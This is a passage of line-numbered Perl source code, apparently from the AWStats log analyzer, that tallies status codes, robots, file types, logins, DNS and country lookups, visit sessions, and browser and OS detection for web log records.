19036 $DayBytes{$yearmonthdayrecord} += int($field[$pos_size]); 19037 $_time_k[$hourrecord] += int($field[$pos_size]); 19038 } 19039 $countedtraffic = 6; # 206 continued download, so we track bandwidth but not pages or hits 19040 if ($Debug) { debug( " Download continuation detected: '$urlwithnoquery'", 2 ); } 19041 }else { # Code is not valid 19042 if ( $field[$pos_code] !~ /^\d\d\d$/ ) { 19043 $field[$pos_code] = 999; 19044 } 19045 $_errors_h{ $field[$pos_code] }++; 19046 if ($pos_size>0){$_errors_k{ $field[$pos_code] } += int( $field[$pos_size] );} 19047 foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { 19048 if ( $field[$pos_code] == $code ) { 19049 19050 # This is an error code which referrer need to be tracked 19051 my $newurl = 19052 substr( $field[$pos_url], 0, 19053 $MaxLengthOfStoredURL ); 19054 $newurl =~ s/[$URLQuerySeparators].*$//; 19055 $_sider_h{$code}{$newurl}++; 19056 if ( $pos_referer >= 0 && $ShowHTTPErrorsPageDetail =~ /R/i ) { 19057 my $newreferer = $field[$pos_referer]; 19058 if ( !$URLReferrerWithQuery ) { 19059 $newreferer =~ s/[$URLQuerySeparators].*$//; 19060 } 19061 $_referer_h{$code}{$newurl} = $newreferer; 19062 } 19063 if ( $pos_host >= 0 && $ShowHTTPErrorsPageDetail =~ /H/i ) { 19064 my $newhost = $field[$pos_host]; 19065 if ( !$URLReferrerWithQuery ) { 19066 $newhost =~ s/[$URLQuerySeparators].*$//; 19067 } 19068 $_err_host_h{$code}{$newurl} = $newhost; 19069 last; 19070 } 19071 } 19072 } 19073 if ($Debug) { 19074 debug( 19075" Record stored in the status code chart (status code=$field[$pos_code])", 19076 3 19077 ); 19078 } 19079 $countedtraffic = 3; 19080 if ($PageBool) { $_time_nv_p[$hourrecord]++; } 19081 $_time_nv_h[$hourrecord]++; 19082 if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} 19083 } 19084 } 19085 elsif ( $LogType eq 'M' ) { # Mail record 19086 if ( !$ValidSMTPCodes{ $field[$pos_code] } ) 19087 { # Code is not valid 19088 $_errors_h{ $field[$pos_code] }++; 19089 if ( $field[$pos_size] ne '-' && $pos_size>0) { 19090 $_errors_k{ $field[$pos_code] } += 19091 int( $field[$pos_size] ); 19092 } 19093 if ($Debug) { 19094 debug( 19095" Record stored in the status code chart (status code=$field[$pos_code])", 19096 3 19097 ); 19098 } 19099 $countedtraffic = 3; 19100 if ($PageBool) { $_time_nv_p[$hourrecord]++; } 19101 $_time_nv_h[$hourrecord]++; 19102 if ( $field[$pos_size] ne '-' && $pos_size>0) { 19103 $_time_nv_k[$hourrecord] += int( $field[$pos_size] ); 19104 } 19105 } 19106 } 19107 elsif ( $LogType eq 'F' ) { # FTP record 19108 } 19109 } 19110 19111 # Analyze: Robot from robot database (=> countedtraffic=4 if robot) 19112 #------------------------------------------------------------------ 19113 if ( !$countedtraffic || $countedtraffic == 6) { 19114 if ( $pos_agent >= 0 ) { 19115 if ($DecodeUA) { 19116 $field[$pos_agent] =~ s/%20/_/g; 19117 } # This is to support servers (like Roxen) that writes user agent with %20 in it 19118 $UserAgent = $field[$pos_agent]; 19119 if ( $UserAgent && $UserAgent eq '-' ) { $UserAgent = ''; } 19120 19121 if ($LevelForRobotsDetection) { 19122 19123 if ($UserAgent) { 19124 my $uarobot = $TmpRobot{$UserAgent}; 19125 if ( !$uarobot ) { 19126 19127 #study $UserAgent; Does not increase speed 19128 foreach (@RobotsSearchIDOrder) { 19129 if ( $UserAgent =~ /$_/ ) { 19130 my $bot = &UnCompileRegex($_); 19131 $TmpRobot{$UserAgent} = $uarobot = "$bot" 19132 ; # Last time, we won't search if robot or not. We know it is. 19133 if ($Debug) { 19134 debug( 19135" UserAgent '$UserAgent' is added to TmpRobot with value '$bot'", 19136 2 19137 ); 19138 } 19139 last; 19140 } 19141 } 19142 if ( !$uarobot ) 19143 { # Last time, we won't search if robot or not. We know it's not. 19144 $TmpRobot{$UserAgent} = $uarobot = '-'; 19145 } 19146 } 19147 if ( $uarobot ne '-' ) { 19148 19149 # If robot, we stop here 19150 if ($Debug) { 19151 debug( 19152" UserAgent '$UserAgent' contains robot ID '$uarobot'", 19153 2 19154 ); 19155 } 19156 $_robot_h{$uarobot}++; 19157 if ( $field[$pos_size] ne '-' && $pos_size>0) { 19158 $_robot_k{$uarobot} += int( $field[$pos_size] ); 19159 } 19160 $_robot_l{$uarobot} = $timerecord; 19161 if ( $urlwithnoquery =~ /$regrobot/o ) { 19162 $_robot_r{$uarobot}++; 19163 } 19164 $countedtraffic = 4; 19165 if ($PageBool) { $_time_nv_p[$hourrecord]++; } 19166 $_time_nv_h[$hourrecord]++; 19167 if ( $field[$pos_size] ne '-' && $pos_size>0) { 19168 $_time_nv_k[$hourrecord] += 19169 int( $field[$pos_size] ); 19170 } 19171 } 19172 } 19173 else { 19174 my $uarobot = 'no_user_agent'; 19175 19176 # It's a robot or at least a bad browser, we stop here 19177 if ($Debug) { 19178 debug( 19179" UserAgent not defined so it should be a robot, saved as robot 'no_user_agent'", 19180 2 19181 ); 19182 } 19183 $_robot_h{$uarobot}++; 19184 if ($pos_size>0){$_robot_k{$uarobot} += int( $field[$pos_size] );} 19185 $_robot_l{$uarobot} = $timerecord; 19186 if ( $urlwithnoquery =~ /$regrobot/o ) { 19187 $_robot_r{$uarobot}++; 19188 } 19189 $countedtraffic = 4; 19190 if ($PageBool) { $_time_nv_p[$hourrecord]++; } 19191 $_time_nv_h[$hourrecord]++; 19192 if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} 19193 } 19194 } 19195 } 19196 } 19197 19198 # Analyze: Robot from "hit on robots.txt" file (=> countedtraffic=5 if robot) 19199 # ------------------------------------------------------------------------- 19200 if ( !$countedtraffic ) { 19201 if ( $urlwithnoquery =~ /$regrobot/o ) { 19202 if ($Debug) { debug( " It's an unknown robot", 2 ); } 19203 $_robot_h{'unknown'}++; 19204 if ($pos_size>0){$_robot_k{'unknown'} += int( $field[$pos_size] );} 19205 $_robot_l{'unknown'} = $timerecord; 19206 $_robot_r{'unknown'}++; 19207 $countedtraffic = 5; # Must not be counted somewhere else 19208 if ($PageBool) { $_time_nv_p[$hourrecord]++; } 19209 $_time_nv_h[$hourrecord]++; 19210 if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} 19211 } 19212 } 19213 19214 # Analyze: File type - Compression 19215 #--------------------------------- 19216 if ( !$countedtraffic || $countedtraffic == 6) { 19217 if ($LevelForFileTypesDetection) { 19218 if ($countedtraffic != 6){$_filetypes_h{$extension}++;} 19219 if ( $field[$pos_size] ne '-' && $pos_size>0) { 19220 $_filetypes_k{$extension} += int( $field[$pos_size] ); 19221 } 19222 19223 # Compression 19224 if ( $pos_gzipin >= 0 && $field[$pos_gzipin] ) 19225 { # If in and out in log 19226 my ( $notused, $in ) = split( /:/, $field[$pos_gzipin] ); 19227 my ( $notused1, $out, $notused2 ) = 19228 split( /:/, $field[$pos_gzipout] ); 19229 if ($out) { 19230 $_filetypes_gz_in{$extension} += $in; 19231 $_filetypes_gz_out{$extension} += $out; 19232 } 19233 } 19234 elsif ( $pos_compratio >= 0 19235 && ( $field[$pos_compratio] =~ /(\d+)/ ) ) 19236 { # Calculate in/out size from percentage 19237 if ( $fieldlib[$pos_compratio] eq 'gzipratio' ) { 19238 19239 # with mod_gzip: % is size (before-after)/before (low for jpg) ?????????? 19240 $_filetypes_gz_in{$extension} += 19241 int( 19242 $field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) ); 19243 } 19244 else { 19245 19246 # with mod_deflate: % is size after/before (high for jpg) 19247 $_filetypes_gz_in{$extension} += 19248 int( $field[$pos_size] * 100 / ( $1 || 1 ) ); 19249 } 19250 if ($pos_size>0){$_filetypes_gz_out{$extension} += int( $field[$pos_size] );} 19251 } 19252 } 19253 19254 # Analyze: Date - Hour - Pages - Hits - Kilo 19255 #------------------------------------------- 19256 if ($PageBool) { 19257 19258# Replace default page name with / only ('if' is to increase speed when only 1 value in @DefaultFile) 19259 if ( @DefaultFile > 1 ) { 19260 foreach my $elem (@DefaultFile) { 19261 if ( $field[$pos_url] =~ s/\/$elem$/\// ) { last; } 19262 } 19263 } 19264 else { $field[$pos_url] =~ s/$regdefault/\//o; } 19265 19266# FirstTime and LastTime are First and Last human visits (so changed if access to a page) 19267 $FirstTime{$lastprocesseddate} ||= $timerecord; 19268 $LastTime{$lastprocesseddate} = $timerecord; 19269 $DayPages{$yearmonthdayrecord}++; 19270 $_url_p{ $field[$pos_url] }++; #Count accesses for page (page) 19271 if ( $field[$pos_size] ne '-' && $pos_size>0) { 19272 $_url_k{ $field[$pos_url] } += int( $field[$pos_size] ); 19273 } 19274 $_time_p[$hourrecord]++; #Count accesses for hour (page) 19275 # TODO Use an id for hash key of url 19276 # $_url_t{$_url_id} 19277 } 19278 if ($countedtraffic != 6){$_time_h[$hourrecord]++;} 19279 if ($countedtraffic != 6){$DayHits{$yearmonthdayrecord}++;} #Count accesses for hour (hit) 19280 if ( $field[$pos_size] ne '-' && $pos_size>0) { 19281 $_time_k[$hourrecord] += int( $field[$pos_size] ); 19282 $DayBytes{$yearmonthdayrecord} += int( $field[$pos_size] ); #Count accesses for hour (kb) 19283 } 19284 19285 # Analyze: Login 19286 #--------------- 19287 if ( $pos_logname >= 0 19288 && $field[$pos_logname] 19289 && $field[$pos_logname] ne '-' ) 19290 { 19291 $field[$pos_logname] =~ 19292 s/ /_/g; # This is to allow space in logname 19293 if ( $LogFormat eq '6' ) { 19294 $field[$pos_logname] =~ s/^\"//; 19295 $field[$pos_logname] =~ s/\"$//; 19296 } # logname field has " with Domino 6+ 19297 if ($AuthenticatedUsersNotCaseSensitive) { 19298 $field[$pos_logname] = lc( $field[$pos_logname] ); 19299 } 19300 19301 # We found an authenticated user 19302 if ($PageBool) { 19303 $_login_p{ $field[$pos_logname] }++; 19304 } #Count accesses for page (page) 19305 if ($countedtraffic != 6){$_login_h{$field[$pos_logname]}++;} #Count accesses for page (hit) 19306 if ($pos_size>0){$_login_k{ $field[$pos_logname] } += 19307 int( $field[$pos_size] );} #Count accesses for page (kb) 19308 $_login_l{ $field[$pos_logname] } = $timerecord; 19309 } 19310 } 19311 19312 # Do DNS lookup 19313 #-------------- 19314 my $Host = $field[$pos_host]; 19315 my $HostResolved = '' 19316 ; # HostResolved will be defined in next paragraf if countedtraffic is true 19317 19318 if( $Host =~ /^([^:]+):[0-9]+$/ ){ # Host may sometimes have an ip:port syntax (ex: 54.32.12.12:60321) 19319 $Host = $1; 19320 } 19321 19322 19323 if ( !$countedtraffic || $countedtraffic == 6) { 19324 my $ip = 0; 19325 if ($DNSLookup) { # DNS lookup is 1 or 2 19326 if ( $Host =~ /$regipv4l/o ) { # IPv4 lighttpd 19327 $Host =~ s/^::ffff://; 19328 $ip = 4; 19329 } 19330 elsif ( $Host =~ /$regipv4/o ) { $ip = 4; } # IPv4 19331 elsif ( $Host =~ /$regipv6/o ) { $ip = 6; } # IPv6 19332 if ($ip) { 19333 19334 # Check in static DNS cache file 19335 $HostResolved = $MyDNSTable{$Host}; 19336 if ($HostResolved) { 19337 if ($Debug) { 19338 debug( 19339" DNS lookup asked for $Host and found in static DNS cache file: $HostResolved", 19340 4 19341 ); 19342 } 19343 } 19344 elsif ( $DNSLookup == 1 ) { 19345 19346 # Check in session cache (dynamic DNS cache file + session DNS cache) 19347 $HostResolved = $TmpDNSLookup{$Host}; 19348 if ( !$HostResolved ) { 19349 if ( @SkipDNSLookupFor && &SkipDNSLookup($Host) ) { 19350 $HostResolved = $TmpDNSLookup{$Host} = '*'; 19351 if ($Debug) { 19352 debug( 19353" No need of reverse DNS lookup for $Host, skipped at user request.", 19354 4 19355 ); 19356 } 19357 } 19358 else { 19359 if ( $ip == 4 ) { 19360 my $lookupresult = 19361 gethostbyaddr( 19362 pack( "C4", split( /\./, $Host ) ), 19363 AF_INET ) 19364 ; # This is very slow, may spend 20 seconds 19365 if ( !$lookupresult 19366 || $lookupresult =~ /$regipv4/o 19367 || !IsAscii($lookupresult) ) 19368 { 19369 $TmpDNSLookup{$Host} = $HostResolved = 19370 '*'; 19371 } 19372 else { 19373 $TmpDNSLookup{$Host} = $HostResolved = 19374 $lookupresult; 19375 } 19376 if ($Debug) { 19377 debug( 19378" Reverse DNS lookup for $Host done: $HostResolved", 19379 4 19380 ); 19381 } 19382 } 19383 elsif ( $ip == 6 ) { 19384 if ( $PluginsLoaded{'GetResolvedIP'} 19385 {'ipv6'} ) 19386 { 19387 my $lookupresult = 19388 GetResolvedIP_ipv6($Host); 19389 if ( !$lookupresult 19390 || !IsAscii($lookupresult) ) 19391 { 19392 $TmpDNSLookup{$Host} = 19393 $HostResolved = '*'; 19394 } 19395 else { 19396 $TmpDNSLookup{$Host} = 19397 $HostResolved = $lookupresult; 19398 } 19399 } 19400 else { 19401 $TmpDNSLookup{$Host} = $HostResolved = 19402 '*'; 19403 warning( 19404"Reverse DNS lookup for $Host not available without ipv6 plugin enabled." 19405 ); 19406 } 19407 } 19408 else { error("Bad value vor ip"); } 19409 } 19410 } 19411 } 19412 else { 19413 $HostResolved = '*'; 19414 if ($Debug) { 19415 debug( 19416" DNS lookup by static DNS cache file asked for $Host but not found.", 19417 4 19418 ); 19419 } 19420 } 19421 } 19422 else { 19423 if ($Debug) { 19424 debug( 19425" DNS lookup asked for $Host but this is not an IP address.", 19426 4 19427 ); 19428 } 19429 $DNSLookupAlreadyDone = $LogFile; 19430 } 19431 } 19432 else { 19433 if ( $Host =~ /$regipv4l/o ) { 19434 $Host =~ s/^::ffff://; 19435 $HostResolved = '*'; 19436 $ip = 4; 19437 } 19438 elsif ( $Host =~ /$regipv4/o ) { 19439 $HostResolved = '*'; 19440 $ip = 4; 19441 } # IPv4 19442 elsif ( $Host =~ /$regipv6/o ) { 19443 $HostResolved = '*'; 19444 $ip = 6; 19445 } # IPv6 19446 if ($Debug) { debug( " No DNS lookup asked.", 4 ); } 19447 } 19448 19449 # Analyze: Country (Top-level domain) 19450 #------------------------------------ 19451 if ($Debug) { 19452 debug( 19453" Search country (Host=$Host HostResolved=$HostResolved ip=$ip)", 19454 4 19455 ); 19456 } 19457 my $Domain = 'ip'; 19458 19459 # Set $HostResolved to host and resolve domain 19460 if ( $HostResolved eq '*' ) { 19461 19462# $Host is an IP address and is not resolved (failed or not asked) or resolution gives an IP address 19463 $HostResolved = $Host; 19464 19465 # Resolve Domain 19466 if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip6'} ) { 19467 $Domain = GetCountryCodeByAddr_geoip6($HostResolved); 19468 } 19469 elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) { 19470 $Domain = GetCountryCodeByAddr_geoip($HostResolved); 19471 } 19472 19473# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($HostResolved); } 19474# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($HostResolved); } 19475 elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) { 19476 $Domain = GetCountryCodeByAddr_geoipfree($HostResolved); 19477 } 19478 elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip2_country'} ) { 19479 $Domain = GetCountryCodeByAddr_geoip2_country($HostResolved); 19480 } 19481 if ($AtLeastOneSectionPlugin) { 19482 foreach my $pluginname ( 19483 keys %{ $PluginsLoaded{'SectionProcessIp'} } ) 19484 { 19485 my $function = "SectionProcessIp_$pluginname"; 19486 if ($Debug) { 19487 debug( " Call to plugin function $function", 5 ); 19488 } 19489 &$function($HostResolved); 19490 } 19491 } 19492 } 19493 else { 19494 19495# $Host was already a host name ($ip=0, $Host=name, $HostResolved='') or has been resolved ($ip>0, $Host=ip, $HostResolved defined) 19496 $HostResolved = lc( $HostResolved ? $HostResolved : $Host ); 19497 19498 # Resolve Domain 19499 if ($ip) 19500 { # If we have ip, we use it in priority instead of hostname 19501 if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip6'} ) { 19502 $Domain = GetCountryCodeByAddr_geoip6($Host); 19503 } 19504 elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) { 19505 $Domain = GetCountryCodeByAddr_geoip($Host); 19506 } 19507 19508# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); } 19509# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); } 19510 elsif ( 19511 $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) 19512 { 19513 $Domain = GetCountryCodeByAddr_geoipfree($Host); 19514 } 19515 elsif ( 19516 $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip2_country'} ) 19517 { 19518 $Domain = GetCountryCodeByAddr_geoip2_country($Host); 19519 } 19520 elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; } 19521 if ($AtLeastOneSectionPlugin) { 19522 foreach my $pluginname ( 19523 keys %{ $PluginsLoaded{'SectionProcessIp'} } ) 19524 { 19525 my $function = "SectionProcessIp_$pluginname"; 19526 if ($Debug) { 19527 debug( " Call to plugin function $function", 19528 5 ); 19529 } 19530 &$function($Host); 19531 } 19532 } 19533 } 19534 else { 19535 if ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip6'} ) { 19536 $Domain = GetCountryCodeByName_geoip6($HostResolved); 19537 } 19538 elsif ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip'} ) { 19539 $Domain = GetCountryCodeByName_geoip($HostResolved); 19540 } 19541 19542# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); } 19543# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); } 19544 elsif ( 19545 $PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} ) 19546 { 19547 $Domain = GetCountryCodeByName_geoipfree($HostResolved); 19548 } 19549 elsif ( 19550 $PluginsLoaded{'GetCountryCodeByName'}{'geoip2_country'} ) 19551 { 19552 $Domain = GetCountryCodeByName_geoip2_country($HostResolved); 19553 } 19554 elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; } 19555 if ($AtLeastOneSectionPlugin) { 19556 foreach my $pluginname ( 19557 keys %{ $PluginsLoaded{'SectionProcessHostname'} } ) 19558 { 19559 my $function = "SectionProcessHostname_$pluginname"; 19560 if ($Debug) { 19561 debug( " Call to plugin function $function", 19562 5 ); 19563 } 19564 &$function($HostResolved); 19565 } 19566 } 19567 } 19568 } 19569 19570 # Store country 19571 if ($PageBool) { $_domener_p{$Domain}++; } 19572 if ($countedtraffic != 6){$_domener_h{$Domain}++;} 19573 if ( $field[$pos_size] ne '-' && $pos_size>0) { 19574 $_domener_k{$Domain} += int( $field[$pos_size] ); 19575 } 19576 19577 # Analyze: Host, URL entry+exit and Session 19578 #------------------------------------------ 19579 if ($PageBool) { 19580 my $timehostl = $_host_l{$HostResolved}; 19581 if ($timehostl) { 19582 19583# A visit for this host was already detected 19584# TODO everywhere there is $VISITTIMEOUT 19585# $timehostl =~ /^\d\d\d\d\d\d(\d\d)/; my $daytimehostl=$1; 19586# if ($timerecord > ($timehostl+$VISITTIMEOUT+($dateparts[3]>$daytimehostl?$NEWDAYVISITTIMEOUT:0))) { 19587 if ( $timerecord > ( $timehostl + $VISITTIMEOUT ) ) { 19588 19589 # This is a second visit or more 19590 if ( !$_waithost_s{$HostResolved} ) { 19591 19592 # This is a second visit or more 19593 # We count 'visit','exit','entry','DayVisits' 19594 if ($Debug) { 19595 debug( 19596" This is a second visit for $HostResolved.", 19597 4 19598 ); 19599 } 19600 my $timehosts = $_host_s{$HostResolved}; 19601 my $page = $_host_u{$HostResolved}; 19602 if ($page) { $_url_x{$page}++; } 19603 $_url_e{ $field[$pos_url] }++; 19604 $DayVisits{$yearmonthdayrecord}++; 19605 19606 # We can't count session yet because we don't have the start so 19607 # we save params of first 'wait' session 19608 $_waithost_l{$HostResolved} = $timehostl; 19609 $_waithost_s{$HostResolved} = $timehosts; 19610 $_waithost_u{$HostResolved} = $page; 19611 } 19612 else { 19613 19614 # This is third visit or more 19615 # We count 'session','visit','exit','entry','DayVisits' 19616 if ($Debug) { 19617 debug( 19618" This is a third visit or more for $HostResolved.", 19619 4 19620 ); 19621 } 19622 my $timehosts = $_host_s{$HostResolved}; 19623 my $page = $_host_u{$HostResolved}; 19624 if ($page) { $_url_x{$page}++; } 19625 $_url_e{ $field[$pos_url] }++; 19626 $DayVisits{$yearmonthdayrecord}++; 19627 if ($timehosts) { 19628 $_session{ GetSessionRange( $timehosts, 19629 $timehostl ) }++; 19630 } 19631 } 19632 19633 # Save new session properties 19634 $_host_s{$HostResolved} = $timerecord; 19635 $_host_l{$HostResolved} = $timerecord; 19636 $_host_u{$HostResolved} = $field[$pos_url]; 19637 } 19638 elsif ( $timerecord > $timehostl ) { 19639 19640 # This is a same visit we can count 19641 if ($Debug) { 19642 debug( 19643" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]", 19644 4 19645 ); 19646 } 19647 $_host_l{$HostResolved} = $timerecord; 19648 $_host_u{$HostResolved} = $field[$pos_url]; 19649 } 19650 elsif ( $timerecord == $timehostl ) { 19651 19652 # This is a same visit we can count 19653 if ($Debug) { 19654 debug( 19655" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]", 19656 4 19657 ); 19658 } 19659 $_host_u{$HostResolved} = $field[$pos_url]; 19660 } 19661 elsif ( $timerecord < $_host_s{$HostResolved} ) { 19662 19663 # Should happens only with not correctly sorted log files 19664 if ($Debug) { 19665 debug( 19666" This is same visit still running for $HostResolved with start not in order. host_s changed to $timerecord (entry page also changed if first visit)", 19667 4 19668 ); 19669 } 19670 if ( !$_waithost_s{$HostResolved} ) { 19671 19672# We can reorder entry page only if it's the first visit found in this update run (The saved entry page was $_waithost_e if $_waithost_s{$HostResolved} is not defined. If second visit or more, entry was directly counted and not saved) 19673 $_waithost_e{$HostResolved} = $field[$pos_url]; 19674 } 19675 else { 19676 19677# We can't change entry counted as we dont't know what was the url counted as entry 19678 } 19679 $_host_s{$HostResolved} = $timerecord; 19680 } 19681 else { 19682 if ($Debug) { 19683 debug( 19684" This is same visit still running for $HostResolved with hit between start and last hits. No change", 19685 4 19686 ); 19687 } 19688 } 19689 } 19690 else { 19691 19692# This is a new visit (may be). First new visit found for this host. We save in wait array the entry page to count later 19693 if ($Debug) { 19694 debug( 19695" New session (may be) for $HostResolved. Save in wait array to see later", 19696 4 19697 ); 19698 } 19699 $_waithost_e{$HostResolved} = $field[$pos_url]; 19700 19701 # Save new session properties 19702 $_host_u{$HostResolved} = $field[$pos_url]; 19703 $_host_s{$HostResolved} = $timerecord; 19704 $_host_l{$HostResolved} = $timerecord; 19705 } 19706 $_host_p{$HostResolved}++; 19707 } 19708 $_host_h{$HostResolved}++; 19709 if ( $field[$pos_size] ne '-' && $pos_size>0) { 19710 $_host_k{$HostResolved} += int( $field[$pos_size] ); 19711 } 19712 19713 # Analyze: Browser - OS 19714 #---------------------- 19715 if ( $pos_agent >= 0 ) { 19716 19717 if ($LevelForBrowsersDetection) { 19718 19719 # Analyze: Browser 19720 #----------------- 19721 my $uabrowser = $TmpBrowser{$UserAgent}; 19722 if ( !$uabrowser ) { 19723 my $found = 1; 19724 19725 # Edge (must be at beginning) 19726 if ($UserAgent =~ /$regveredge/o) 19727 { 19728 $_browser_h{"edge$1"}++; 19729 if ($PageBool) { $_browser_p{"edge$1"}++; } 19730 $TmpBrowser{$UserAgent} = "edge$1"; 19731 } 19732 19733 # Opera ? 19734 elsif ( $UserAgent =~ /$regveropera/o ) { # !!!! version number in in regex $1 or $2 !!! 19735 $_browser_h{"opera".($1||$2)}++; 19736 if ($PageBool) { $_browser_p{"opera".($1||$2)}++; } 19737 $TmpBrowser{$UserAgent} = "opera".($1||$2); 19738 } 19739 19740 # Firefox ? 19741 elsif ( $UserAgent =~ /$regverfirefox/o 19742 && $UserAgent !~ /$regnotfirefox/o ) 19743 { 19744 $_browser_h{"firefox$1"}++; 19745 if ($PageBool) { $_browser_p{"firefox$1"}++; } 19746 $TmpBrowser{$UserAgent} = "firefox$1"; 19747 } 19748 19749 # Chrome ? 19750 elsif ( $UserAgent =~ /$regverchrome/o ) { 19751 $_browser_h{"chrome$1"}++; 19752 if ($PageBool) { $_browser_p{"chrome$1"}++; } 19753 $TmpBrowser{$UserAgent} = "chrome$1"; 19754 } 19755 19756 # Safari ? 19757 elsif ($UserAgent =~ /$regversafari/o 19758 && $UserAgent !~ /$regnotsafari/o ) 19759 { 19760 my $safariver = $BrowsersSafariBuildToVersionHash{$1}; 19761 if ( $UserAgent =~ /$regversafariver/o ) { 19762 $safariver = $1; 19763 } 19764 $_browser_h{"safari$safariver"}++; 19765 if ($PageBool) { $_browser_p{"safari$safariver"}++; } 19766 $TmpBrowser{$UserAgent} = "safari$safariver"; 19767 } 19768 19769 # Konqueror ? 19770 elsif ( $UserAgent =~ /$regverkonqueror/o ) { 19771 $_browser_h{"konqueror$1"}++; 19772 if ($PageBool) { $_browser_p{"konqueror$1"}++; } 19773 $TmpBrowser{$UserAgent} = "konqueror$1"; 19774 } 19775 19776 # Subversion ? 19777 elsif ( $UserAgent =~ /$regversvn/o ) { 19778 $_browser_h{"svn$1"}++; 19779 if ($PageBool) { $_browser_p{"svn$1"}++; } 19780 $TmpBrowser{$UserAgent} = "svn$1"; 19781 } 19782 19783 # IE < 11 ? (must be at end of test) 19784 elsif ($UserAgent =~ /$regvermsie/o 19785 && $UserAgent !~ /$regnotie/o ) 19786 { 19787 $_browser_h{"msie$2"}++; 19788 if ($PageBool) { $_browser_p{"msie$2"}++; } 19789 $TmpBrowser{$UserAgent} = "msie$2"; 19790 } 19791 19792 # IE >= 11 19793 elsif ($UserAgent =~ /$regvermsie11/o && $UserAgent !~ /$regnotie/o) 19794 { 19795 $_browser_h{"msie$2"}++; 19796 if ($PageBool) { $_browser_p{"msie$2"}++; } 19797 $TmpBrowser{$UserAgent} = "msie$2"; 19798 } 19799 19800 # Netscape 6.x, 7.x ... ? (must be at end of test) 19801 elsif ( $UserAgent =~ /$regvernetscape/o ) { 19802 $_browser_h{"netscape$1"}++; 19803 if ($PageBool) { $_browser_p{"netscape$1"}++; } 19804 $TmpBrowser{$UserAgent} = "netscape$1"; 19805 } 19806 19807 # Netscape 3.x, 4.x ... ? (must be at end of test) 19808 elsif ($UserAgent =~ /$regvermozilla/o 19809 && $UserAgent !~ /$regnotnetscape/o ) 19810 { 19811 $_browser_h{"netscape$2"}++; 19812 if ($PageBool) { $_browser_p{"netscape$2"}++; } 19813 $TmpBrowser{$UserAgent} = "netscape$2"; 19814 } 19815 19816 # Other known browsers ? 19817 else { 19818 $found = 0; 19819 foreach (@BrowsersSearchIDOrder) 19820 { # Search ID in order of BrowsersSearchIDOrder 19821 if ( $UserAgent =~ /$_/ ) { 19822 my $browser = &UnCompileRegex($_); 19823 19824 # TODO If browser is in a family, use version 19825 $_browser_h{"$browser"}++; 19826 if ($PageBool) { $_browser_p{"$browser"}++; } 19827 $TmpBrowser{$UserAgent} = "$browser"; 19828 $found = 1; 19829 last; 19830 } 19831 } 19832 } 19833 19834 # Unknown browser ? 19835 if ( !$found ) { 19836 $_browser_h{'Unknown'}++; 19837 if ($PageBool) { $_browser_p{'Unknown'}++; } 19838 $TmpBrowser{$UserAgent} = 'Unknown'; 19839 my $newua = $UserAgent; 19840 $newua =~ tr/\+ /__/; 19841 $_unknownrefererbrowser_l{$newua} = $timerecord; 19842 } 19843 } 19844 else { 19845 $_browser_h{$uabrowser}++; 19846 if ($PageBool) { $_browser_p{$uabrowser}++; } 19847 if ( $uabrowser eq 'Unknown' ) { 19848 my $newua = $UserAgent; 19849 $newua =~ tr/\+ /__/; 19850 $_unknownrefererbrowser_l{$newua} = $timerecord; 19851 } 19852 } 19853 19854 } 19855 19856 if ($LevelForOSDetection) { 19857 19858 # Analyze: OS 19859 #------------ 19860 my $uaos = $TmpOS{$UserAgent}; 19861 if ( !$uaos ) { 19862 my $found = 0; 19863 19864 # in OSHashID list ? 19865 foreach (@OSSearchIDOrder) 19866 { # Search ID in order of OSSearchIDOrder 19867 if ( $UserAgent =~ /$_/ ) { 19868 my $osid = $OSHashID{ &UnCompileRegex($_) }; 19869 $_os_h{"$osid"}++; 19870 if ($PageBool) { $_os_p{"$osid"}++; } 19871 $TmpOS{$UserAgent} = "$osid"; 19872 $found = 1; 19873 last; 19874 } 19875 } 19876 19877 # Unknown OS ? 19878 if ( !$found ) { 19879 $_os_h{'Unknown'}++; 19880 if ($PageBool) { $_os_p{'Unknown'}++; } 19881 $TmpOS{$UserAgent} = 'Unknown'; 19882 my $newua = $UserAgent; 19883 $newua =~ tr/\+ /__/; 19884 $_unknownreferer_l{$newua} = $timerecord; 19885 } 19886 } 19887 else { 19888 $_os_h{$uaos}++; 19889 if ($PageBool) { 19890 $_os_p{$uaos}++; 19891 } 19892 if ( $uaos eq 'Unknown' ) { 19893 my $newua = $UserAgent; 19894 $newua =~ tr/\+ /__/; 19895 $_unknownreferer_l{$newua} = $timerecord; 19896 } 19897 } 19898 19899 } 19900 19901 } 19902 else { 19903 